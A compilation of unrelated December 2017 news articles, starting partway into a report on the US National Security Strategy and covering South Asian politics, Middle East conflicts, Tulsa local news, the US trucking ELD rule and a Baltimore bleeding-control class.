The strategy paints Russia and China as the big global villains and challenges to American national interests. China seeks to displace the United States in the Indo-Pacific region, expand the reaches of its state-driven economic model, and reorder the region in its favor. Russia seeks to restore its great power status and establish spheres of influence near its borders, the 70-page document says. We also face rival powers, Russia and China, that seek to challenge American influence, values, and wealth. We will attempt to build a great partnership with those and other countries, but in a manner that always protects our national interest.

Amid ongoing investigations to probe Russian government collusion in the US presidential elections of 2016, the NSS refers to Russian interference without naming it. Adversaries target sources of American strength, including our democratic system and our economy, it says.

Keeping in line with the White House statements under Trump, the strategy document minces no words for Chinas aggressive behaviour and gives prominence to Indias role in Indo-Pacific.

China is using economic inducements and penalties, influence operations, and implied military threats to persuade other states to heed its political and security agenda, the report says, adding veiled remarks against Chinas One Belt One Road, which it says shows Beijings ambitions as mutually beneficial, but also the danger that Chinese dominance poses to the sovereignty of many Indo-Pacific states. It also stresses on US inclination toward increase quadrilateral cooperation with Japan, Australia, and India.

It also spoke about reforming its migration system  a major concern for India.

We will also reform our current immigration system, which, contrary to our national interest and national security, allows for randomized entry and extended-family chain migration. Residency and citizenship determinations should be based on individuals merits and their ability to positively contribute to US society, rather than chance or extended family connections, the report says, a day after a news reports said that the Trump administration could consider revoking an Obama-era rule that extends work authorisation to the spouses of H1-B holders. The move could affect thousands of Indian workers and their families.

We will reinforce our commitment to freedom of the seas and the peaceful resolution of territorial and maritime disputes in accordance with international law. We will expand our defense and security cooperation with India, a major defense partner of the United States, and support Indias growing relationships throughout the region.

About Pakistan, it says: In Pakistan, we will build trade and investment ties as security improves and as Pakistan demonstrates that it will assist the United States in our counterterrorism goals.
DECATUR  The City of Decatur is partnering with the Community Investment Corporation of Decatur (CICD) to host a free first-time homebuyer education certification program

The program, Realizing the American Dream, is set for at 5:30 p.m. on Tuesday, Jan. 9, at the Decatur Civic Center, 1 Gary K. Anderson Plaza in Decatur

Session topics will include:

 Are You Ready To Buy A Home?

 Managing Your Money

 Understanding Credit

 Obtaining A Mortgage Loan

 Shopping For A Home

 Protecting Your Investment

To register or for more information, contact the city's Neighborhood Services Division at (217) 424-2777 or e-mail vbuckingham@decaturil.gov. Class size is limited.
Shiv Kumar

Tribune News Service

Mumbai, December 19

Results of the Gujarat assembly elections are a warning to the BJP to clean up its act before the 2019 elections, Shiv Sena mouthpiece Saamna said in an editorial on Tuesday.



The Gujarat model has failed. We only hope that the BJP does not get defeated in 2019, the editorial in Saamna noted. Those who barely scraped through in the examination will be acting as if they passed with distinction. Though you said you would get nothing less than 150 seats, you couldn't even manage 100, the editorial added.



The Shiv Sena, which has an uneasy alliance with the BJP in Maharashtra went on to say that the BJP's desperation showed in its campaign for the Gujarat assembly elections. You forgot about vikas that you were supposed to deliver in the last 22 years. There were only emotional issues and division of voters on lines of Hindu and Muslim during the campaign, the editorial said.



Saamna went on to say the Gujarat assembly polls were a victory for Congress president Rahul Gandhi.



Though BJP will form the government in Gujarat, the real winner is the Congress party. Despite losing the elections, the Congress has defeated the BJP, the editorial said.



The newspaper went onto pick holes in the BJP's campaign. (The BJP) called Rahul Gandhi and Hardik Patel a bunch of monkeys. But the monkeys slapped the lion, it said.
Vibha Sharma

Tribune News Service

New Delhi, December 19

A permanent solution to stubble burning, which has been causing choking pollution in northern states, can be brought about at the cost of just 6 or 7 Rafale fighter jets, Congress leader Pratap Singh Bajwa said on Tuesday.

Seeking immediate sanction of funds by the Centre to solve the problem, he said the NITI Aayog has projected that a permanent solution would cost around Rs 11,000 crore.

Raising the issue of choking pollution from stuble burning in Punjab, Haryana and western Uttar Pradesh through a Zero Hour mention in the Rajya Sabha, Bajwa said this was just the cost of 6-7 Rafale jets.

India is buying 36 Rafale fighters for about Rs 59,000 crore contract (7.87 billion euro) from France.

He said pollution in the national capital has become a "national shame" and the government should urgently take steps to tackle it.

Farmers, he said, needed support and should be given Rs 200 per quintal extra to get rid of crop residue in eco- friendly way. Farmers should be given financial support to stop stubble burning, he added.

Vivek Gupta (TMC) wanted to know what steps the government has taken for the disposal of crop residue.

Bajwa raised the issue during the Zero Hour of the Rajya Sabha.

INLD member Ram Kumar Kashyap demanded the Shaheed title for Bhagat Singh, Sukhdev, Rajguru and Chandrashekhar Azad.

Quoting a Dainik Tribune report, Kashyap said he was distressed to learn that even Pakistan had conferred the title of Shaheed-E-Azam on Bhagat Singh whereas India had not.

Chairman M Venkaiah Naidu, who said he was also concerned about reading such reports, sought an explanation from the Culture Ministry.

Union Minister Ravi Shankar Prasad, responding on the behalf of the government, said Bhagat Singh was held in highest esteem by the country and he would ascertain the details and get back to the House.

Kashyap raised the issue during the Zero Hour of the Rajya Sabha.
Kabul [Afghanistan], December 19

At least 50 militants belonging to the Taliban insurgent group were killed in the airstrikes conducted by the security forces in northern Sar-e-Pul province of Afghanistan.

The Tolo News quoted the 209th Shaheen Corps of the Afghan army on Monday as saying that the airstrikes were conducted in Sancharak district of the province, leaving at least 50 militants dead.

In the airstrikes, 36 other militants also got injured and a Humvee armored personnel carrier along with two soft skin vehicles and several motorcycles were destroyed in the airstrikes, the statement further said.

Taliban's deputy shadow district chief for Sancharak Qari Sher Mohammad and many other commanders were also among those killed.

Taliban hasn't commented on the airstrikes so far.

Anti-ISIS as well as anti-Taliban operations are underway to eliminate the presence of terrorists in the Nangarhar province and the US forces are providing air force support to the Afghan forces during the operations.  ANI.
Enpasar, Indonesia, December 19

Indonesian police have arrested an Australian, an American and a Malaysian on the holiday island of Bali for drugs offences, the latest foreigners to run afoul of some of the world's strictest laws against narcotics.

The three men, who were arrested in separate cases, appeared before the media at a briefing, dressed in orange prison garb, their faces concealed by balaclava, with armed police officers standing guard.

It was not immediately clear if any of the three, who were identified only by their initials, would face the death penalty if convicted.

Authorities found methamphetamine and the party drug ecstasy hidden in a plastic bottle and another container in the luggage of the Australian after he arrived on a flight from Bangkok on Monday, the customs office said.

"Based on the results of the inspection, our officers found five packages containing clear crystals weighing 19.97 grams and 14 tablets weighing a total of 6.22 grams," Bali Airport customs office chief Himawan Indrajono said in the statement.

Australia's Department of Foreign Affairs and Trade said it was "providing consular assistance to an Australian man detained in Bali" in response to emailed questions on the arrest. It declined to comment further.

The US citizen was arrested at a Bali post office on Nov.

30 in connection with a package sent from the United States containing 336.6 grams of e-cigarette liquid containing THC, or tetrahydrocannabinol, the active ingredient in cannabis.

The Malaysian was arrested on November 8 after being found with 3.03 grams of leaves thought to be marijuana and 0.65 grams of a white powder suspected to be narcotics, Idrajono said.

Possession of small amounts of drugs can incur lengthy jail sentences in Indonesia and larger amounts can result in a death sentence.

The execution by firing squad of two Australians in 2015, along with six other drug convicts from several other countries, strained relations between Jakarta and Canberra.

Indonesia says it is facing a drug crisis with an estimated 6.4 million drug users in the country of 250 million people, and needs to impose tough punishments to contained the problem.

President Joko Widodo has called for a "merciless" crackdown on narcotics, and told law enforcers to shoot drug traffickers if they resisted arrest.

That echoes a tough stand taken by Philippine leader Rodrigo Duterte who has ordered a war against drugs in which several thousand people have been killed since mid-2016.  Reuters.
Dhaka, December 19

Bangladesh and Myanmar on Tuesday formed a 30-member joint panel to oversee repatriation of Rohingya refugees within two months, despite rights groups warning that their safety is not assured in the Buddhist majority country.

"Now, we will start the next step of our work," Bangladesh Foreign Minister AH Mahmood Ali told reporters.

In a statement, Bangladesh foreign office said that the working group will develop physical arrangements for the refugees' return, including mechanisms for verification, time schedule, transport and logistical arrangements, reception procedures and communication.

It said the working group would "ensure commencement of repatriation within two months".

The joint working group "shall involve assistance of the UNHCR and other mandated UN agencies and interested international partners in various stages of repatriation".

It would comprise equal number of representatives from each side to undertake "all necessary measures to start the safe and voluntary return, resettlement and reintegration process of displaced Myanmar residents".

The joint panel was formed in line with the November 23 memorandum of understanding signed by Myanmar with Bangladesh to take back hundreds of thousands of Rohingyas who fled their homeland to escape a military crackdown.

The development came a day after UN human rights body chief Zeid Ra'ad al-Hussein said he would not be surprised if a court one day ruled that acts of genocide had been committed against the Rohingya Muslim minority.

"The elements suggest you cannot rule out the possibility that acts of genocide have been committed," Zeid told BBC, describing the attacks on Rohingyas to be "well thought out and planned".

Meanwhile, US-based Human Rights Watch today termed the November 23 agreement as a mere "public relations stunt", saying Maynmar Army burned dozens of buildings within days of signing the repatriation deal with Bangladesh.

The rights group, citing analysis of satellite imagery, said buildings in 40 villages were destroyed in October and November, increasing the total to 354 villages that had been partially or completely razed since last August.

Over 655,000 Rohingyas fled across the border to Bangladesh since the crackdown began on August 25, bringing horrific accounts of rape, extrajudicial killing and arson.  PTI
Hong Kong, December 19

President Abdulla Yameens rush to sign a Free Trade Agreement (FTA) with China during his recent visit to Beijing without following constitutional norms has generated considerable anti-China sentiment in the Maldives.

The opposition parties in Maldives and the business community attribute the deal also to President Yameens underhand dealings in award of contracts to Chinese companies and an effort by Yameen and the China to protect the latters investments in the Maldives. According to sources within the Maldives government, there was pressure from China on signing of the FTA, the first by Maldives with any other country. The FTA is unlikely to boost Maldives exports to China, given its narrow export base.

The FTA would further open the floodgates for Chinese imports adversely affecting Maldives fragile balance of payments situation. The opposition parties handed over a signed letter to the Chinese Ambassador in Male Zhang Lizhong, where they highlighted that the Maldivian government followed unconstitutional and illegal process in the House to approve the FTA and as such the opposition could not recognise the FTA in its current form.  Agencies
Islamabad, December 19

A defiant Nawaz Sharif on Tuesday raised questions over neutrality of the Pakistani judges for exonerating opposition leader Imran Khan of graft charges, saying the double standards and the blatant murder of justice will not be tolerated by the people.

The ousted prime minister made the remarks while talking to reporters at the premises of the accountability court where he appeared to face the graft charges filed against him by the National Accountability Bureau in the Panama Papers scandal.

On Friday, the apex court rejected a petition seeking Khans disqualification.

Reading out the judgment in the packed courtroom, Chief Justice Mian Saqib Nisar said the court had found that Pakistan Tehreek-e-Insaaf chief Khan was not liable to declare offshore company Niazi Services Ltd in his 2013 nomination papers as he was not a shareholder or director of the company.

We will remain steadfast in the face of this verdict and take the matter to the people, Sharif reiterated today.

The courts double standards and this blatant murder of justice will not be tolerated, not by the PML-N and neither by this nation, 67-year-old Sharif said.

This scale of justice outside the court should stand for insaf, not for Tehreek-i-Insaf, Sharif remarked sarcastically as he concluded his tirade.

Sharif announced that he would launch a movement for restoration of justice in the country.

We will start a movement for the restoration of justice in the country like we initiated a movement for the restoration of the judiciary once, he said.

Sharif, his daughter Maryam Sharif and son-in-law Capt (retd) Muhammad Safdar directly went to the court after arriving here from Lahore in a private jet. Heavy security arrangements were made around the court premises.

In todays hearing, the prosecution presented a witness, Yasir Bashir, who is a branch manager for a private bank.

Bashir testified to providing NAB with details about the bank accounts of Sharif and Nawaz. He also provided the court details about various transactions that took place from the accounts of Maryam and the former prime minister.

He told the court that there were no discrepancies found in Maryams bank details and that the bank never received any complaints about her account.

While cross questioning the witness, Khawaja Haris, the lawyer representing Nawaz and Maryam, pointed out that Bashir had not compiled the documents presented to NAB himself.

Haris added that had Bashir done so, he would have remembered the transaction amounts for both accounts by heart.

Another witness, Shakeel Anjum Nagra, recorded his statement regarding receiving certified copies of the joint investigation teams (JIT) report and forwarding it to the relevant departments.

Afaq Ahmed, a director of the Foreign Ministry, gave the court details about the letter written by the Qatari Prince Hamza Bin Jasim to the JIT chief Wajid Zia.

Ahmad told the court that that the Pakistan embassy received the letter on May 28, the letter was passed on to the JIT chief on May 30.

The court has summoned the next two witnesses in the case to present themselves in court on Wednesday, January 3.

Sharif returned to Pakistan from London on Sunday where he had gone with his daughter Maryam to see his ailing wife who is undergoing treatment for throat cancer.

The three cases against the Sharif family are related to the Al-Azizia Company and Hill Metal Establishment, Flagship Investment Ltd and the Avenfield (London) properties.

Sharif and his sons, Hassan and Hussain, have been named in all three NAB cases, while Maryam and husband Safdar have been named only in the Avenfield case.

Last month, Sharif was indicted in all three cases while Maryam and Safdar, co-accused with Sharif in only one case, were also indicted.

The cases are based on July 28 verdict by the Supreme Court which disqualified Sharif and ordered to launch three corruption cases against him and his family, and one case against finance minister Ishaq Dar.  PTI
Tehran, December 19

Iran on Tuesday condemned the United States veto of a UN Security Council resolution rejecting President Donald Trump's decision to recognise Jerusalem as Israel's capital, which it calls "provocative and unwise".

US Ambassador to the UN Nikki Haley on Tuesday vetoed the draft resolution, which was backed by all 14 other members of the council.

Iran's foreign ministry spokesman Bahram Ghasemi said the US administration "showed its lack of compliance with international resolutions by its provocative and unwise decision to recognise Al-Quds as the capital of the Zionist occupying regime".

He said Washington's veto despite the rest of the council supporting the resolution "proved that it seeks a compromise by trampling on the legal rights of all Palestinians". Ghasemi's statement said Tehran was unsurprised by the American recognition, given its "racist and hostile policies that unilaterally back the Al-Quds occupiers".

Iran "strongly condemns this move and urges all countries and the international community to... prevent its implementation to preserve international peace and security," he added.

Shiite Iran, which has put enmity towards Israel and the Palestinian cause as one of its the main pillars of its foreign policy since the 1979 Islamic resolution, said it will not "tolerate" the Jerusalem decision.

Tehran on Tuesday also summoned Markus Leitner, the ambassador of Switzerland, which represents US interests, to protest against Haley's "irresponsible" claims that Iran sent arms to Yemen.

In a separate statement, Ghasemi said an official and "strong" protest was conveyed concerning "the baseless and unthoughtful accusations by Nikki Haley at the UN".

On Thursday, Haley presented what she called "concrete" evidence that a missile fired by Yemeni rebels at Riyadh airport on November 4 was "made in Iran".

Alireza Miryousefi, spokesman at Iran's mission to the United Nations, dismissed Haley's allegation as "fabricated". AFP
Wasilla, December 19

Sarah Palin's oldest son, Track, has been arraigned on charges that he assaulted his father at the family's home in Alaska.

Police were called to the home Saturday night, after Sarah Palin, the former Alaska governor and 2008 Republican vice presidential nominee, told police her son was "freaking out" and on some type of medication, according to an affidavit by Wasilla Police Officer Adam LaPointe.

The affidavit states that Todd Palin was bleeding from cuts on his head. He told police the dispute began when Track Palin, 28, called to retrieve his truck.

Todd Palin said he told Track Palin not to come but that his son said he would come anyway to beat him up. Todd Palin told police he got his pistol "to protect his family."

Track Palin told police he broke a window, disarmed his father and put him on the ground.

LaPointe wrote that Todd Palin and Sarah Palin had left the home when police arrived and that Sarah Palin was visibly upset.

Track Palin yelled at officers, calling them peasants, and "moved around in a strange manner" before being arrested without incident, the affidavit states.

Track Palin told police he "consumed a few beers earlier," the affidavit states.

Track Palin was arraigned Sunday on domestic violence- related charges of burglary and assault. Court records did not immediately list an attorney for him. He is scheduled for a preliminary hearing next week.

This is the second time in two years that Track Palin has been arrested in a domestic violence case.

In 2016, Palin was suspected of punching his girlfriend, who then became concerned that he was going to shoot himself with a rifle, court documents said.

He faced several charges but pleaded guilty to possessing a firearm while intoxicated and the other charges were dismissed.

His then-girlfriend later filed for custody of their child, and in January she requested a protective order against Track Palin.

Attorney John Tiemessen, who said he represents Sarah Palin, acknowledged the arrest Sunday.

"Given the nature of actions addressed last night by law enforcement and the charges involved, the Palins are unable to comment further," Tiemessen said. "They ask that the family's privacy is respected during this challenging situation just as others dealing with a struggling family member would also request."

Track Palin served in Iraq for a year in 2008.

Sarah Palin indicated when her son was first accused of domestic violence in 2016 that post-traumatic stress disorder might have been a factor.  AP.
Riyadh, December 19

The Saudi-led coalition fighting Yemen's Shiite rebels said it intercepted a missile fired over southern Riyadh on Tuesday while the Yemeni rebels said they targeted the royal palace in the kingdom's capital.

The announcement by the coalition was carried by the Saudi state TV as residents of the kingdom posted videos on social media showing a small cloud of smoke in the sky.

The report said no damage was caused by the intercepted missile.

In Yemen, Mohammed Abdul-Salam, the spokesman for the Shiite rebels known as Houthis, said they fired a ballistic missile targeting the Yamama Palace. He tweeted that a ballistic "Volcano H-2" missile was used in the attack.

This is the second missile attack fired by the Houthis to target Riyadh since November 4. Last month's attack targeted the Saudi capital's airport but was also intercepted.

The Yamama Palace is where the Saudi monarch, King Salman, receives visiting foreign dignitaries and top Saudi officials.

The Saudi-led coalition has been fighting in Yemen since March 2015 to defeat the Iran-backed Houthis and reinstate the internationally recognised government of President Abed Rabbo Mansour Hadi who was forced into exile by the Houthis.  AP
Legalization of this drug definitely sends the wrong message. If legalization represents the wave of the future, our futures are in big trouble. $350 million to $700 million in tax revenue will provide our legislators with that many more tax dollars for them to waste. How many millions will eventually be necessary for rehabilitation?
The electronic logging device rule kicked in on Dec. 18 and enforcement has begun across the country.

While there were some reports of certain ELD providers having temporary software and server troubles, no doubt due to a sudden increase in usage, the day seems to have gone off without much trouble. Based on what he had heard, CVSA Executive Director Collin Mooney characterized the day as quiet on the enforcement side.

"Today, jurisdictions around the country are implementing the ELD requirement," said Mooney in a CVSA news release. "Enforcement personnel have been trained in anticipation of the ELD rule and now that it is in effect, inspectors will be verifying hours-of-service compliance by reviewing records of duty status requirements electronically.

While the rule is on the books, a phased-in approach is being taken by law enforcement. Any violations stemming from a lack of ELDs will not count against a CSA score or be cause for being placed out of service until April 1. Fleets using automatic onboard recording devices, a precursor to ELDs, will be allowed to use those devices until Dec. 16, 2019, thanks to a grandfather clause in the mandate.

The ELD rule does not change any of the underlying hours-of-service requirements, but simply enforces the use of an electronic device connected to the vehicles diagnostic port to track and record hours of service, which replaces paper log books.

The American Trucking Associations officially welcomed the effective date of the ELD mandate, hailing it as a step forward for the industry. The use of ELDs was first proposed in 2007 and was finalized in 2010. The rule that is went into effect today was the result of a bipartisan measure included in the MAP-21 highway bill, which was passed back in 2012.

Electronic logging devices have been legislated, promulgated, and litigated  with Congress voting three times in the past five years in favor of this requirement and a federal court rejecting a challenge to the rule," said ATA President and CEO Chris Spear. "The time has finally come to retire decades-old, burdensome paper logs that consume countless hours and are susceptible to fraud and put the safety of all motorists first.

"The benefits of this rule exceed the costs by more than $1 billion, making it a rule the ATA can firmly support and easily adopt, he continued. "Today marks the start of a new era of safety and efficiency for our industry and we thank the champions in the Department of Transportation and Congress who have gotten us to this point.

ATA characterized the implementation as a step forward in the debate over hours of service. Bill Sullivan, the trucking lobby's group executive vice president for advocacy, stated that it will allow trucking to make a better case for corrections to HOS rules with regards to detention and the split sleeper berth provision.

With the support of law enforcement groups and trucking industry groups like ATA that are concerned with the welfare of the motoring public, this requirement is now in the rearview mirror and we can turn our attention to other important safety matters surrounding the hours-of-service rules, said Sullivan. Simply put, with this requirement in place we can now move forward to a safer, better future for our industry.
A property built during the Great Depression and once owned by Tulsa music icon Leon Russell has been restored by a local developer.

Duane Phillips, owner of Oak Properties, purchased the two-story building last year and has converted it into four office units called Boston 16.

That west wall was about to fall off, Phillips said of the roughly 6,000-square-foot structure, which sits at 42 E. 16th St. Everybody was concerned about the building because of all the structural problems. We tried to keep as much of the original as we could.

Born Claude Russell Bridges, Russell attended Rogers High School before leaving Tulsa at age 17 for California, where he forged a reputation as one of the most gifted session musicians in Hollywood. He returned to Tulsa in the early 1970s, buying as many as 54 pieces of property in the area, according to a 1997 story written by Tulsa World reporter Thomas Conner.

Russell, who died in November 2016 at age 74, owned the property at 42 E. 16 St. from 1973-77, according to mortgage records. Tulsa County Assessor records state the building was constructed in 1930.

It was a labor of love just because there had been so much settlement through all four of these units over the years that it was hard to tie them together for accessibility purposes, said architect Stan Espinosa, designer of the project. I do a lot of homes as well as corporate headquarters buildings, so a lot of what I try to stick with is trying to keep things original and true to the style.

One of the things here was, how could we create an handicap-accessible entrance on this old building without destroying it. Part of that was instead of trying to do four ramps and tear all this old rock and patio out, lets flip something on the back side, do one ramp, do a stoop across the back and tie them all together. It became quite a challenge.

Besides updated parking, Boston 16 has new energy-efficient windows and a new canopy entrance clad topped with a slate and copper roof. Indoor features include exposed brick, original terra cotta fireplace tilework and vaulted units upstairs.

Phillips is a veteran developer, with credits such as mixed-use projects on Cherry Street, The Village on Main in Jenks and a conversion of a former Lubys Cafeteria into the Tulsa Fertility Clinic.

His soft spot for the old Russell property meshes with his preservation philosophy.

With a lot of these old brick buildings around town, people shore up the brick, completely gut the inside and build a new steel structure inside, Phillips said. With this one, weve kept everything.

To us, it was all more about preserving the building. I really think that within 10 years, it would have collapsed.
Sand Springs police arrested four of five people who reportedly were involved in pepper-spraying employees while robbing a Walmart store and then were chased to north Tulsa.

One man evaded arrest.

The five entered Walmart, located at 220 Oklahoma 97, about 4 a.m. Monday and collected about $3,900 in merchandise from the store, according to an affidavit.

An employee told investigators she heard someone in the group say they would take items and then make a break for it. When employees attempted to talk to the group, a man reportedly pepper-sprayed the employees and then shouted obscenities.

The group allegedly put on a charade at the self-checkout line. Police state in the affidavit that they were passing items back and forth and bagging the merchandise without scanning. The employees had been watching them because of their suspicious behavior, police state.

As the group fled the store, the man with the pepper stray used it on a security guard, police said.

Police said officers located their vehicle traveling on U.S. 412, and that the driver sped up when an officer turned on his emergency lights.

Speeds during the pursuit reached 114 mph, police said.

Officers chased the vehicle from U.S. 412 to U.S. 75 and through the Apache Street exit until the pursuit ended in the 1300 block of East 51st Place North, police said.

The vehicles occupants reportedly dumped merchandise from the windows during the pursuit.

The driver, identified by police as Ulysses Semion Washington, 30, attempted to flee the vehicle on foot. One passenger, the man who allegedly fired the pepper spray, fled from the vehicle and escaped, police said.

Police said three other passengers  a juvenile girl; Maresha Williams, 18; and Ralesha Williams, 37, remained at the vehicle. They were arrested, along with Washington.

Ralesha Williams is reportedly the mother of the juvenile girl and Maresha Williams, according to the affidavit.

Washington was booked into the Tulsa Jail on complaints of conjoint robbery, eluding and several traffic violations. He is being held in lieu of a $103,300 bond.

Maresha Williams was arrested on complaints of conjoint robbery. She is being held in lieu of a $50,000 bond.

Ralesha Williams was arrested on complaints of conjoint robbery, possession of a controlled substance and for an outstanding warrant in Oklahoma County. She is being held without bond.
Edison Preparatory School senior Chayton Burleson went to Lee Elementary and remembers singing a song about the school at his fifth-grade graduation.

He doesnt recall the words too well, but he said it seemed to celebrate the man  a Civil War general for the Confederacy, Mexican War veteran and the namesake of a legacy Tulsa school.

On Tuesday, Burleson said the song now represents, to him, a skewed version of history.

Burleson said he wished he had learned at a younger age about the racial tension surrounding Lees name and what the Confederate States of America was about.

What Lees name represents and whether it should be changed was the topic of discussion Tuesday at an Edison symposium where Burleson spoke. He and dozens of his classmates questioned a diverse panel of civic leaders about history and the effect it has on peoples everyday lives.

The symposium was a public discussion about the meaning of Lees name. The subject will move behind closed doors when it is taken up by a community advisory council that was formed by the Tulsa School Board to review school names.

The name of Lee Elementary School entered the local conversation after August protests in Charlottesville, Virginia, over a statue of the slaveholder general put a spotlight on how the nation honors Confederate figures.

Robert E. Lee Elementary School was named in 1918.

Participants in the Edison forum were mixed on whether the name of the school should be changed. Burleson thinks it should be.

I dont see it as erasing history. We can still learn from it, he said.

Another student, Annabelle Harris, took the opposite view.

We need to remember stuff so we dont forget and make the same mistakes, she said.

Harris asked the panel about buildings named for George Washington, Christopher Columbus and others, and where the line should be drawn.

John Sullivan, a former congressman, asked where the line would be drawn on not naming things after people, calling it a slippery slope.

I just dont want to open up a Pandoras box, he said.

Erica Townsend Bell, a Lee parent and a professor at Oklahoma State University, told a story of being in Namibia and feeling troubled about the names of places in the African country.

She said she was told by Namibia residents that changing the names wasnt going to take the past away.

These are very much active conversations, Bell said.

A history professor on the panel, Dennis McDonald of Tulsa Community College, described how in college, all of his historical heroes faded away because he learned more than the boilerplate version of their lives.

Judging people by todays ethical norms, McDonald said, is called presentism.

Tuesdays exercise wasnt just about Lee, said Edison teacher Larry Cagle who hosted the symposium. It was about training the Advanced Placement students in attendance to be able to research independently, form an opinion and be able to defend it.

Before the symposium, students circulated surveys asking people what they knew of Robert E. Lee and their opinions of him. The survey form provides a biography of Lee that includes descriptions of him as a leader and as a slaveholder.

In a broader sense, Cagle said, the survey project served to teach students to pause when making decisions until they have researched all available information.
Its been 40 years since a few folks at several churches started an effort to help children in need of essentials.

Its now an organization with more than 100 volunteers that served over 18,000 Tulsa children last year.

Emergency Infant Services has grown into one of the citys most iconic nonprofits, a place where parents can come for emergency help such as access to diapers, formula and clothes.

Emergency Infant Services is well-known in Tulsa and not known well, said Tim Gowin, executive director of EIS. What I mean is that were well-known in this community. I think a lot of people in our community have heard about us and have heard our name.

Im just not sure how many people who have heard of us really know what we do.

What they do is totally, 100 percent privately funded by donations.

Youd be surprised how often were here in our office in downtown and someone comes over during their lunch break at the office and drops off a bag full of goods, said Gowin. We get checks from people every month.

This is an extremely caring community. Tulsa has a real spirit of generosity. It is really inspiring.

Anyone, regardless of financial situation, is welcome to request assistance. If you find yourself in an emergency and need help providing essentials for your infant, EIS will help.

The organization will soon have a new, expansive home: the building at 1110 S. Denver Ave. that once housed a Safeway and Homeland grocery store and later served as the Librarium. EIS has raised $5.6 million of the $6 million it needs to renovate the property and turn it into a full-service refuge for families in need of a helping hand.

The help is almost always temporary. Last year, 73 percent of clients served were one-time recipients.

Often, a parent has lost a job and just needs some temporary help to get them through an emergency, Gowin said. Were here to help.

Parents come in and tell us their story. From there, we do what we can to make sure they have everything they need for their infants.

The organization has become a safety net for thousands of Tulsans over the years.

It has also fostered a large group of volunteers.

I think volunteers see the interaction we have with the people we help, and they love that, said Connie Penn, who has been a volunteer for 20 years. You can volunteer at a lot of wonderful charities in Tulsa. They all can use your help.

I love Emergency Infant Services because you get to work directly with the folks getting the aid. You can see how much they want to take care of their infants and how much they appreciate the help. You actually see the tears and how much they appreciate the help.

The current EIS location near the BOK Center is stocked full of goods for infants. Diapers. Formula. Clothes. Food. You name it, EIS probably has it.

Typically, folks come in for help and an interview is conducted to find out what is needed.

When I first started to volunteer here, there were just two full-time employees and we saw maybe 10 clients a day, said Penn. Now, we help anywhere from 40 to 60 clients per day. It is such a busy operation.

When I started volunteering, my son was just a little kid. Hes now 33. And Im still volunteering here because its such a wonderful organization. They do such great work, and the help goes directly to the people who need it.

The new location, which EIS hopes to occupy in about a year, will give EIS more space for donated items and the chance to add a number of services.

Maybe someone needs help finding work, said Gowin. Well, we dont do that, but we do know where they can go to get work.

We want to try to address the many needs of any young parent or parents. This is about helping people through what is a temporary issue. These parents are concerned about their children or they wouldnt have come to us for help.

Penn remembers a recent case when a grandparent was left with five children. She needed help.

In the interview process, the EIS volunteers realized one of the childrens birthday was the next day.

We had a cake that Trader Joes had donated to us, said Penn. So we went and got the cake and gave it to her to give the child. She was crying. We were crying.

It was a wonderful moment. Thats why we volunteer. We get to see the results of what we do.
At the worst possible moment, federal Medicaid bureaucrats are refusing to help fund physician training in Oklahoma, deepening the states budget crisis.

For years, Oklahoma has sent its appropriations for training doctors at OU and OSU through the Oklahoma Health Care Authority, thus magnifying the funding with federal Medicaid money.

But in 2015, federal officials found that the waiver authorizing that use of matching funds hadnt been renewed since 2001, although they had never stopped making the payments.

Last week, the Centers for Medicare and Medicaid Services rejected state plans to continue the funding, meaning the state would have to come up with $31 million to pay for the program for the rest of this year and $115 million for every year thereafter.

The doctors trained by the University of Oklahoma and Oklahoma State University are helping Medicaid patients. If the program ends or get smaller, Medicaid patients are the ones who will suffer first and most severely. The waiver program was a legitimate expenditure of the Medicaid funding, and CMS should reverse its decision and fund it.

U.S. Rep. Tom Cole, chairman of House Appropriations Subcommittee with responsibility for health and human services funding, and other members of the Oklahoma congressional delegation should do everything in their power to make that happen.

But the ways of federal bureaucrats are beyond the control of state lawmakers, who are the ones who have to deal with the crisis now, as if the federal money will never return.

Appropriately, Gov. Mary Fallin has made funding for the health care authority the first responsibility of the special legislative session, which began this Monday.

Once again, our leaders in the state Capitol are faced with a crisis that can only be solved with a sustainable increase in state revenue. This time, the health of the states most delicate citizens is at risk.
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| By Betsy Stein

Danielle Pelaez spent a recent evening at the University of Maryland, Baltimores Community Engagement Center (CEC) learning how to stop someone from bleeding to death.

Pelaez, a research program coordinator at Johns Hopkins Bloomberg School of Public Health and a West Baltimore resident, was glad the Stop the Bleed class was offered in the evening so she could attend.

I feel emergencies happen pretty often in the neighborhood and its usually a while wait for an ambulance to arrive, she said. Not too long ago, a man outside her house was bleeding from the head, and the first two times she called 911, she got the answering machine.

Annie Coples lends her arm to Jeanette Snowden and Sharina Thompson, who were practicing using a tourniquet at a Stop the Bleed class at UMB's Community Engagement Center.

This makes me feel more confident, she said after the class. I know what to do on the spot. I thought it was great.  It was really hands-on.

The CEC offered the class as part of a series called Taking Care of Our Own, organized by interns Janee Franklin and Sabrina Elgersma, both students at the University of Maryland School of Social Work.

Stop the Bleed is a national awareness campaign and call to action that was launched in October 2015 and is the initiative of the American College of Surgeons. It is intended to cultivate grassroots efforts that encourage bystanders to become trained, equipped, and empowered to help in a bleeding emergency before professional help arrives. This past summer, the University of Maryland R Adams Cowley Shock Trauma Center launched a Stop the Bleed campaign locally.

At the time of the launch, Thomas Scalea, MD, Francis X. Kelly Distinguished Professor of Trauma at the University of Maryland School of Medicine (UMSOM) and physician-in-chief at Shock Trauma, explained how easy it is to learn to stop bleeding.

The training is the equivalent of bystander CPR or learning to use an AED, he said. Anyone can learn the life-saving skills of bleeding control.

Sixteen residents of all ages attended the class at the CEC run by Habeeba Park, MD, a trauma surgeon and assistant professor at UMSOM who is heading up Shock Traumas Stop the Bleed program. She explained how to use specialized tourniquets and demonstrated how to pack a wound to staunch the flow of blood.

It hurts, she said. If they are having pain, then it probably means you are doing it right.

She also fielded a number of questions ranging from the risk of blood exposure to what to do if the paramedics are taking too long to arrive.

The exposure risk is there, Im not going to lie to you, Park said, regarding exposure to contaminated blood. If you decide not to deal with it, its up to you. First and foremost, you need to keep yourself safe.

As for paramedics slow arrival, she said, If you can get to the hospital faster, then do that.

At the end of the class, all participants had the opportunity to practice applying a tourniquet and packing a wound by stuffing it with cloth to stop the bleeding. Alan Brown, a Sandtown resident, helped 5-year-old Blair Pinacle, also from West Baltimore, practice on an artificial limb. Brown said he came because he wanted to be prepared. Three years ago, he was stabbed in the arm during a robbery and almost lost his life.

In these times, you really need this, he said. You never know whose life you might save. It could be a family member who fell down the stairs or there is so much drama and tragedy going on in Baltimore today. You never know.

Liz Beeson, a recent graduate of the University of Maryland School of Nursing and an employee at the University of Maryland Medical Center, lives in the neighborhood and thought the program was well worth it.

